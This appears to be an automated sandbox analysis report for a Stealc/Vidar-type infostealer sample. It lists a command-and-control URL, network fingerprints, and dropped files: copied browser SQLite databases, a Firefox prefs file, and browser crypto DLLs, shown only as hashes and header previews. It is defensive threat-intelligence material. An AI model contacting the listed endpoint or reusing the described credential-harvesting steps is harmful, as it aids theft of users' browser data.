Excluded IPs from analysis (whitelisted): 142.250.181.227, 216.58.206.78, 74.125.206.84, 34.104.35.123, 172.217.16.195, 142.250.185.234, 172.217.18.106, 142.250.186.170, 142.250.184.234, 142.250.185.202, 172.217.23.106, 142.250.186.42, 216.58.212.138, 142.250.185.170, 216.58.206.42, 142.250.185.106, 142.250.181.234, 142.250.185.138, 216.58.206.74, 142.250.186.74, 142.250.185.74, 199.232.214.172, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7468 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:27:29	API Interceptor	15x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://bit.ly/3Cbulr1	Get hash	malicious	Unknown	Browse
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse
	2QPrBtk3J8.exe	Get hash	malicious	Unknown	Browse
	v9dVG4fAGa.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	LkCinYWgNh.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50
	https://bit.ly/3Cbulr1	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50
	Reminder.exe	Get hash	malicious	Amadey	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50
	Reminder.exe	Get hash	malicious	Amadey	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50
	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 184.28.90.27 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse
	yt5xqAvHnZ.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAAKJDAAFBAAKEBAAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BAEBGCFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJKEBFIEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFHIJDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDGIJECGDGCBKECAKFBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHCAKKJDBKKFHJJDHIIJEBAEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKJJEGIDBGIDGCBAFHCGCGCGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: CQlUZ4KuAa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: CQlUZ4KuAa.exe, Detection: malicious, Browse Filename: yt5xqAvHnZ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
